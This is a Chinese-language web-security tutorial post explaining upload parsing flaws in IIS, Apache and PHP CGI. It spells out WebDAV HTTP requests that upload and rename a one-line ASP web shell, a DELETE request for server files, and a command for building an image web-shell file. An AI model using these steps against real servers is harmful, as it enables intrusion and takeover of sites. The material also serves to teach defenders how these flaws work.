[web安全] 上传漏洞之解析漏洞

一、IIS解析漏洞
1.当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析。
2.当文件为*.asp;1.jpg时,IIS 6.0同样会以ASP脚本来执行。
微软并不认为这是一个漏洞,也一直没有推出IIS 6.0的补丁,所以这两个“漏洞”至今还存在。
3.WebDav漏洞(对IIS写权限的利用)

第一步,通过OPTIONS探测服务器所支持的HTTP方法

请求:
OPTIONS / HTTP/1.1
Host:www.example.com


响应:
。。。
Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH
。。。
第二步,通过PUT方法向服务器上传脚本文件

请求:
PUT /a.txt HTTP/1.1
Host:www.example.com
Content-Length:30

<%eval request("chopper")%>
第三步,通过Move或Copy方法改名

请求:
COPY /a.txt HTTP/1.1
Host:www.example.com
Destination:http://www.example.com/cmd.asp
第四步,使用DELETE方法,攻击者还可以删除服务器上的任意文件

请求:
DELETE /a.txt HTTP/1.1
Host:www.example.com

二、Apache解析漏洞

在Apache 1.x和Apache 2.x中1.php.rar会被当作php文件执行。
Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。

这种方法可以绕过基于黑名单的检查。

Apache认识的扩展名保存在安装目录下"/conf/mime.types"文件中。下图为本机的情况,文件在路径C:\wamp\bin\apache\Apache2.2.21\conf\mime.types



三、PHP CGI解析漏洞
在某些使用Nginx的网站中,访问http://www.xxser.com/1.jpg/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。
这就意味着攻击者可以上传合法的“图片”(图片木马),然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell。

这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞。

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于C:\wamp\bin\php\php5.3.10\php.ini,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。

[web安全] 上传漏洞之解析漏洞_第1张图片

附:用copy命令制作图片木马:copy 1.jpg/b+1.php/a 2.php (其中/b表示二进制文件,/a表示ASCII码文件)

你可能感兴趣的:([web安全] 上传漏洞之解析漏洞)